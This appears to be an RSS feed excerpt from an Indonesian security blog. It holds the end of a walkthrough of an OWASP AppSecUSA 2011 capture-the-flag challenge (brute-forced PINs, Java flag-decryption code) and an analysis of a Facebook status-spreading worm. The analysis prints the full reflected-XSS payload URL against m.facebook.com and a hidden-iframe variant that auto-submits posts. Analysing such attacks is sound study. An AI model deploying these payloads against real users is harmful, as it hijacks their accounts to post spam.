    <span style="color: #000000; font-weight: bold;">return</span> getHash<span style="color: #009900;">&#40;</span>text<span style="color: #009900;">&#41;</span>.<span style="color: #006633;">equals</span><span style="color: #009900;">&#40;</span>hash<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>
Setelah dicompile dan dijalankan kita berhasil mendapatkan PIN 3 user tersebut dalam waktu yang sangat singkat hanya 1-3 menit untuk mendapatkan pin tiap user. PIN Larry adalah 894331. PIN Curly adalah 275446. PIN Moe adalah 495823.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf5.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf5.jpg" alt="" title="ctf5" width="387" height="199" class="aligncenter size-full wp-image-2609" /></a></p>
<p><b>Moe&#8217;s Flag</b></p>
<p align="justify">
Dengan mengetahui PIN dari 3 user tersebut, saya mencoba login. Dari ketiga user tersebut hanya Moe yang mengandung Flag. Berikut tampilan ketika Moe login.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf6.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf6.jpg" alt="" title="ctf6" width="478" height="300" class="aligncenter size-full wp-image-2615" /></a></p>
<p align="justify">
Ups, ternyata kita mendapatkan pesan:
</p>
<blockquote><p>
&#8220;There is an encrypted flag stored for this user! I am able to decrypt it using your information but, unfortunatly, I cannot share it with you as the displayFlay variable is set to false. That&#8217;s about all I can tell you. Good Luck&#8221;
</p></blockquote>
<p align="justify">
Ternyata kita tidak bisa langsung mendapatkan flag, masih ada satu barrier lagi yang harus kita lewati. Mari kita korek lagi source codenya untuk mencari variable displayFlay.
</p>
<p><b>Displaying Flag</b></p>
<p align="justify">
Dalam class org.owasp.appsecusa.capturetheflag.loginchallenge.Login ada method displayFlag() yang fungsinya menampilkan flag.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000066; font-weight: bold;">void</span> displayFlag<span style="color: #009900;">&#40;</span><span style="color: #003399;">Boolean</span> displayFlag<span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">throws</span> <span style="color: #003399;">IOException</span>, EncryptionException <span style="color: #009900;">&#123;</span>
    BASE64Decoder de <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> BASE64Decoder<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    AES128Encryptor instance <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> AES128Encryptor<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #003399;">InputStream</span> in <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">ByteArrayInputStream</span><span style="color: #009900;">&#40;</span>de.<span style="color: #006633;">decodeBuffer</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">encodedData</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #003399;">ByteArrayOutputStream</span> out <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">ByteArrayOutputStream</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    instance.<span style="color: #006633;">decrypt</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">myWindow</span>.<span style="color: #006633;">pin</span>.<span style="color: #006633;">getText</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>, in, out<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #003399;">ByteArrayInputStream</span> flagData <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">ByteArrayInputStream</span><span style="color: #009900;">&#40;</span>out.<span style="color: #006633;">toByteArray</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #003399;">BufferedImage</span> image <span style="color: #339933;">=</span> ImageIO.<span style="color: #006633;">read</span><span style="color: #009900;">&#40;</span>flagData<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #003399;">ImageIcon</span> icon <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">ImageIcon</span><span style="color: #009900;">&#40;</span>image, <span style="color: #0000ff;">&quot;Our precious flag.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>displayFlag.<span style="color: #006633;">booleanValue</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #000066; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span>
      <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">myWindow</span>.<span style="color: #006633;">loginResponseLabel</span>.<span style="color: #006633;">setIcon</span><span style="color: #009900;">&#40;</span>icon<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">else</span>
      <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">myWindow</span>.<span style="color: #006633;">response_label</span>.<span style="color: #006633;">setText</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;There is an encrypted flag stored for this user!<span style="color: #000099; font-weight: bold;">\n</span>I am able to decrypt it using your information<span style="color: #000099; font-weight: bold;">\n</span>but, unfortunatly, I cannot share it with you as the<span style="color: #000099; font-weight: bold;">\n</span>displayFlay variable is set to false.<span style="color: #000099; font-weight: bold;">\n</span>That's about all I can tell you. Good Luck!&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p align="justify">
Dalam method di atas terlihat bahwa flag berupa image dienkrip dengan AES 128 bit dengan PIN sebagai kuncinya. Masalahnya ada pada baris ke-10, bila method displayFlag dipanggil dengan parameter boolean false, maka akan flag tidak akan ditampilkan.
</p>
<p align="justify">
displayFlag() ini dipanggil dalam actionPerformed() masih di class yang sama. Berikut adalah potongan kode dalam actionPerformed() yang memanggil displayFlag().
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="java" style="font-family:monospace;">          <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">dataTest</span>.<span style="color: #006633;">booleanValue</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #000066; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span>
            displayFlag<span style="color: #009900;">&#40;</span><span style="color: #003399;">Boolean</span>.<span style="color: #006633;">valueOf</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
          <span style="color: #000000; font-weight: bold;">else</span>
            <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">myWindow</span>.<span style="color: #006633;">response_label</span>.<span style="color: #006633;">setText</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;There are no encrypted flags stored for this user.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p align="justify">
Potongan kode di atas menunjukkan bahwa displayFlag() dipanggil dengan parameter false, akibatnya flag tidak akan muncul. Parameter false ini sudah dibuat static hardcoded dalam source codenya, jadi dalam kondisi apapun akan tetap false. Karena dibuat static dan hardcoded, tidak ada cara lain untuk membuatnya menjadi true tanpa mengubah program.
</p>
<p><b>Capturing the Flag</b></p>
<p align="justify">
Kita bisa saja mengubah source code class tersebut dan mengubah &#8220;displayFlag(Boolean.valueOf(false))&#8221; menjadi &#8220;displayFlag(Boolean.valueOf(true))&#8221; lalu meng-compile dan menjalankan program tersebut. Tapi saya memilih untuk mengubahnya menjadi program kecil di console (bukan Applet), hanya untuk menyimpan flag ke dalam file PNG.
</p>
<p align="justify">
Berikut adalah potongan kode untuk men-dekrip dan menyimpan flag ke dalam file flag.png. Kode tersebut diambil dari kode aslinya dengan sedikit modifikasi unutuk menyimpan flag ke dalam file.
</p>
<p align="justify">
Bila anda ingin mencoba sendiri, source code lengkap untuk mendapatkan flag bisa didownload di: <a href='http://www.ilmuhacking.com/wp-content/uploads/2011/07/Capture1.zip'>Capture.zip</a>, anda hanya perlu melakukan &#8216;javac ParseXML.java&#8217; kemudian &#8216;java ParseXML&#8217; untuk mendapatkan flag.png.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> ParseXML
<span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">static</span> LoginUsers parseXML<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">throws</span> <span style="color: #003399;">Exception</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #003399;">String</span> resourceName <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;Data.xml&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #003399;">Reader</span> reader <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">BufferedReader</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">InputStreamReader</span><span style="color: #009900;">&#40;</span>ParseXML.<span style="color: #000000; font-weight: bold;">class</span>.<span style="color: #006633;">getClassLoader</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">getResourceAsStream</span><span style="color: #009900;">&#40;</span>resourceName<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		JAXBContext jc <span style="color: #339933;">=</span> JAXBContext.<span style="color: #006633;">newInstance</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> <span style="color: #000000; font-weight: bold;">Class</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#123;</span> LoginUsers.<span style="color: #000000; font-weight: bold;">class</span> <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		Unmarshaller um <span style="color: #339933;">=</span> jc.<span style="color: #006633;">createUnmarshaller</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000000; font-weight: bold;">return</span> <span style="color: #009900;">&#40;</span>LoginUsers<span style="color: #009900;">&#41;</span>um.<span style="color: #006633;">unmarshal</span><span style="color: #009900;">&#40;</span>reader<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #000066; font-weight: bold;">void</span> displayFlag<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> encodedData<span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">throws</span> <span style="color: #003399;">Exception</span> <span style="color: #009900;">&#123;</span>
		AES128Encryptor instance <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> AES128Encryptor<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #003399;">InputStream</span> in <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">ByteArrayInputStream</span><span style="color: #009900;">&#40;</span>decode<span style="color: #009900;">&#40;</span>encodedData<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #003399;">ByteArrayOutputStream</span> out <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">ByteArrayOutputStream</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		instance.<span style="color: #006633;">decrypt</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;495823&quot;</span>, in, out<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #003399;">ByteArrayInputStream</span> flagData <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">ByteArrayInputStream</span><span style="color: #009900;">&#40;</span>out.<span style="color: #006633;">toByteArray</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #003399;">BufferedImage</span> image <span style="color: #339933;">=</span> ImageIO.<span style="color: #006633;">read</span><span style="color: #009900;">&#40;</span>flagData<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>		
&nbsp;
		<span style="color: #003399;">String</span> fname <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;flag.png&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #003399;">File</span> file <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">File</span><span style="color: #009900;">&#40;</span>fname<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		ImageIO.<span style="color: #006633;">write</span><span style="color: #009900;">&#40;</span>image,<span style="color: #0000ff;">&quot;png&quot;</span>,file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>				
		<span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Decrypted and Saved to &quot;</span><span style="color: #339933;">+</span>fname<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p align="justify">
Ketika file tersebut dijalankan akan membuat sebuah file bernama flag.png. Berikut adalah tampilan ketika class ini dijalankan dari command prompt.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf7.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf7.jpg" alt="" title="ctf7" width="437" height="198" class="aligncenter size-full wp-image-2630" /></a></p>
<p align="justify">
Flag.png adalah QR barcode yang mengandung teks. Untuk membaca isi teks dari barcode tersebut saya memakai layanan barcode reader online.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf81.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf81.jpg" alt="" title="ctf8" width="591" height="342" class="aligncenter size-full wp-image-2633" /></a></p>
<p align="justify">
Bendera berhasil kita rebut, yaitu teks: http://www.appsecusa.org/ctf.html. Sekarang tinggal submit jawabannya.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf91.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf91.jpg" alt="" title="ctf9" width="431" height="506" class="aligncenter size-full wp-image-2638" /></a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=4vKERznbH9E:36yP2QaMSOw:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=4vKERznbH9E:36yP2QaMSOw:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=4vKERznbH9E:36yP2QaMSOw:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=4vKERznbH9E:36yP2QaMSOw:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=4vKERznbH9E:36yP2QaMSOw:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=4vKERznbH9E:36yP2QaMSOw:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=4vKERznbH9E:36yP2QaMSOw:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=4vKERznbH9E:36yP2QaMSOw:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/web-security/challenge-3-owasp-appsecusa-2011-walkthrough/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Memahami Teknik Penyebaran Status Berantai di Facebook</title>
		<link>http://www.ilmuhacking.com/web-security/memahami-teknik-penyebaran-status-berantai-di-facebook/</link>
		<comments>http://www.ilmuhacking.com/web-security/memahami-teknik-penyebaran-status-berantai-di-facebook/#comments</comments>
		<pubDate>Tue, 29 Mar 2011 18:59:24 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Web Security]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2528</guid>
		<description><![CDATA[Hari ini saya menyadari ada yang tidak beres dengan status teman-teman facebook saya. Banyak yang mendadak statusnya berisi promosi suatu link bahkan hingga berkali-kali. Apa gerangan yang terjadi? Dalam artikel ini saya akan membedah teknik penyebaran status berantai tersebut. Analisa Mari kita mulai analisa kita dengan mengambil sample satu URL jebakan, yaitu tinyurl.com/sampahh. Ini adalah [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Hari ini saya menyadari ada yang tidak beres dengan status teman-teman facebook saya. Banyak yang mendadak statusnya berisi promosi suatu link bahkan hingga berkali-kali. Apa gerangan yang terjadi? Dalam artikel ini saya akan membedah teknik penyebaran status berantai tersebut.</p>
<p><span id="more-2528"></span><br />
<b>Analisa</b></p>
<p style="text-align: justify;">Mari kita mulai analisa kita dengan mengambil sample satu URL jebakan, yaitu tinyurl.com/sampahh. Ini adalah url versi pendek yang bila diklik akan melakukan redirect ke url aslinya, yaitu:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">http://m.facebook.com/connect/prompt_feed.php?display=wap&amp;user_message_prompt='&lt;script&gt;window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}&lt;/script&gt;</pre></div></div>

<p style="text-align: justify;">URL tersebut akan saya pecah menjadi 3 bagian:</p>
<ul>
<li>

<div class="wp_syntax"><div class="code"><pre class="url" style="font-family:monospace;">http://m.facebook.com/connect/prompt_feed.php</pre></div></div>

</li>
<li>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">?display=wap&amp;user_message_prompt=</pre></div></div>

</li>
<li>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #3366CC;">'&lt;script&gt;window.onload=function(){document.forms[0].message.value='</span>jangan salahin w kalo lo bakal ngakak ngeliat ni orang <span style="color: #339933;">:</span>D http<span style="color: #339933;">:</span><span style="color: #006600; font-style: italic;">//tinyurl.com/sampahh';document.forms[0].submit();}&lt;/script&gt;</span></pre></div></div>

</li>
</ul>
<p style="text-align: justify;">Bagian pertama adalah URL untuk update status. Bagian kedua adalah query string parameter yang terdiri dari dua parameter, yaitu display dan user_message_prompt. Bagian ketiga adalah isi dari parameter user_message_prompt yang merupakan payload javascript untuk mengubah status secara otomatis.</p>
<p><b>The Prompt</b></p>
<p style="text-align: justify;">Sebelum masuk lebih jauh membahas payloadnya, mari kita lihat dulu bentuk tampilan dari URL untuk mengubah status ini. Gambar ini adalah screenshot ketika browser membuka URL:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">http://m.facebook.com/connect/prompt_feed.php?display=wap&amp;user_message_prompt=Masukkan Status</pre></div></div>

</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss2.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss2.jpg" alt="" title="fbxss2" width="508" height="343" class="aligncenter size-full wp-image-2536" /></a></p>
<p style="text-align: justify;">
Dari gambar di atas kini kita memahami fungsi dari parameter user_message_prompt, yaitu sebagai judul pertanyaan/prompt. Agar user mengerti apa yang harus diinputkan, dalam setiap prompt harus diberi judul yang jelas, contohnya: &#8220;Input your PIN&#8221;, &#8220;Enter your Name&#8221;, &#8220;Password:&#8221; dan sebagainya. Silakan anda mencoba bermain-main dengan mengubah-ubah nilai user_message_prompt sesuka anda di address bar dan perhatikan apa yang terjadi.
</p>
<p style="text-align: justify;"><strong>Reflected Cross Site Scripting</strong></p>
<p style="text-align: justify;">
Normalnya user_message_prompt diisi dengan murni teks saja berupa instruksi/petunjuk apa yang harus diinputkan user. Bila parameter user_message_prompt berisi teks murni saja, maka tidak ada yang perlu dikhawatirkan, namun bagaimana bila parameter tersebut diisi dengan kode HTML atau javascript?
</p>
<p style="text-align: justify;">Perhatikan apa yang terjadi bila user_message_prompt diisi dengan kode HTML:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;font color=red&gt;&lt;h1&gt;Hello!!&lt;/h1&gt;&lt;/font&gt;</pre></div></div>

</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss3.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss3.jpg" alt="" title="fbxss3" width="590" height="365" class="aligncenter size-full wp-image-2541" /></a></p>
<p style="text-align: justify;">Perhatikan juga apa yang terjadi bila user_message_prompt diisi dengan kode HTML:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;img src=&quot;http://1.bp.blogspot.com/_D2J2A4A68T8/TH80zGbHcYI/AAAAAAAAAIw/RXaLXYldrWw/s320/Hacked.jpg&quot;/&gt;</pre></div></div>

</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss4.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss4.jpg" alt="" title="fbxss4" width="617" height="645" class="aligncenter size-full wp-image-2542" /></a></p>
<p style="text-align: justify;">Bagaimana bila user_message_prompt tidak hanya diisi dengan kode HTML, tapi diisi dengan kode javascript? Mari kita coba memasukkan javascript sederhana berikut ini:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span>prompt<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Enter your PIN&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></div></div>

<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss5.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss5.jpg" alt="" title="fbxss5" width="694" height="458" class="aligncenter size-full wp-image-2547" /></a></p>
<p style="text-align: justify;">Kita sudah melihat bagaimana user_message_prompt tidak hanya bisa diisi dengan normal teks, namun juga bisa diisi dengan kode HTML dan javascript yang dieksekusi browser. Ini adalah vulnerability yang disebut dengan XSS (Cross Site Scripting), lebih tepatnya reflected-XSS (karena kode yang diinjeksikan dalam URL &#8220;dipantulkan&#8221; kembali sebagai response HTTP).</p>
<p><b>The Payload</b></p>
<p style="text-align: justify;">Dalam contoh sebelumnya kita mencoba memasukkan javascript sederhana yang hanya menampilkan prompt input kepada user. Sebenarnya javascript bisa dipakai untuk melakukan hampir apa saja mulai dari yang sekedar iseng seperti mengubah status, sampai yang serius seperti seperti mencuri cookie korban atau take-over komputer korban dengan mengeksploitasi kelemahan pada browsernya. Hal-hal inilah yang disebut dengan payload. Attacker bebas memasukkan payload apa saja yang dia inginkan seperti mengubah status, mencuri cookie dsb.</p>
<p style="text-align: justify;">Perhatikan kembali isi parameter user_message_prompt yang didapat dari tinyurl.com/sampahh:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">user_message_prompt='&lt;script&gt;window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}&lt;/script&gt;</pre></div></div>

</p>
<p style="text-align: justify;">
Bagi pembaca yang jeli tentu merasa aneh, kenapa ada karakter single-quote (&#8216;) sebelum tag script? Perlukah karakter single-quote ini? Jawabannya adalah tidak perlu sama sekali. Saya melihat semua yang membuat url sejenis ini dalam payloadnya selalu ada karakter single-quote di depan tag script. Mungkin pembuatnya hanya ikut-ikutan saja tanpa benar-benar mengerti apa yang terjadi, karena dia mencontoh orang lain memakai single-quote, maka diapun ikut memakai single-quote.
</p>
<p style="text-align: justify;">
Payload untuk mengubah status sebenarnya sangat sederhana. Berikut ini adalah payload untuk mengubah status di facebook secara otomatis: <br/><br />
<a href="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss7.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss7.jpg" alt="" title="fbxss7" width="377" height="64" class="aligncenter size-full wp-image-2554" /></a></p>
<p style="text-align: justify;">Onload adalah event yang terjadi bila suatu halaman web selesai di-load. Baris pertama pada kode di atas artinya meminta browser untuk mengeksekusi sebuah fungsi secara otomatis ketika halaman ini selesai diload. Fungsi yang dimaksud terdiri dari dua baris kode sederhana untuk mengubah nilai textarea message dan melakukan submit form.</p>
<p style="text-align: justify;">Baris kedua dimaksudkan untuk mengubah nilai dari textarea bernama message seperti gambar di bawah ini.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss8.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss8.jpg" alt="" title="fbxss8" width="324" height="210" class="aligncenter size-full wp-image-2557" /></a></p>
<p style="text-align: justify;">Langkah terakhir adalah memanggil fungsi submit() untuk melakukan submit form. Jadi sangat sederhana cara untuk mengubah status secara otomatis, cukup dua langkah saja, mengisi message dengan isi status, lalu submit, status pun selesai diubah.</p>
<p><b>Varian Lain dengan IFRAME</b></p>
<p style="text-align: justify;">
Saya juga menemukan varian lain yang memakai iframe. Varian ini lebih berbahaya karena bisa disisipkan dalam web apapun dan bisa dengan mudah melakukan pengubahan status berulang kali. Salah satu teman facebook saya menjadi korban freesmsvoip.com sampai berkali-kali.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss9.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/03/fbxss9.jpg" alt="" title="fbxss9" width="606" height="668" class="aligncenter size-full wp-image-2561" /></a></p>
<p style="text-align: justify;">
Kenapa bisa kena sampai berkali-kali? Mari kita lihat potongan awal source html dari www.freesmsvoip.com.
</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;iframe id=&quot;CrazyDaVinci&quot; style=&quot;display:none;&quot; src=&quot;http://m.facebook.com/connect/prompt_feed.php?display=wap&amp;user_message_prompt='&lt;script&gt;window.onload=function(){document.forms[0].message.value='Kirim SMS Gratis Ke Semua Operator di www.freesmsvoip.com Wow.. cool guys! coba gihhh!!!';document.forms[0].submit();}&lt;/script&gt;&quot;&gt;&lt;/iframe&gt;
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
&lt;head&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=iso-8859-1&quot; /&gt;
&lt;title&gt;SMS Gratis Semua Operator - Kirim SMS Gratis Via Internet - SMS Gratis Online - Widget SMS Gratis&lt;/title&gt;
&lt;meta name=&quot;description&quot; content=&quot;Kirim SMS gratis ke semua operator GSM, CDMA se-Indonesia tanpa bayar lewat internet&quot; /&gt;</pre></div></div>

<p style="text-align: justify;">
Perhatikan pada baris pertama ada tag iframe dengan src yang juga mengeksploitasi XSS vulnerability pada m.facebook.com/connect/prompt_feed.php. Tag iframe ini tidak hanya ada pada halaman depan saja, namun pada setiap halaman di web tersebut. Akibatnya bila pengunjung hanya melihat halaman depan saja, dia hanya kena satu kali, bila dia juga berkunjung ke halaman-halaman lain, maka dia akan melakukan update status berkali-kali.
</p>
<p style="text-align: justify;">
Berbeda dengan kasus yang memakai jasa pemendek url seperti tinyurl.com, serangan memakai iframe bisa dilekatkan pada halaman web yang tampak normal, baik hati dan tidak sombong. Dengan maraknya kasus eksploitasi XSS dengan url-shortener, orang akan semakin curiga bila menerima link yang dipendekkan karena user tidak tahu url itu akan dibelokkan ke mana. Menerima url yang dipendekkan kini mirip dengan menerima paket yang tidak jelas apa isinya, buku atau bom. Namun berbeda kasusnya dengan url yang panjang, orang cenderung tidak curiga bila menerima url panjang, apalagi domainnya tampak seperti situs baik-baik.</p>
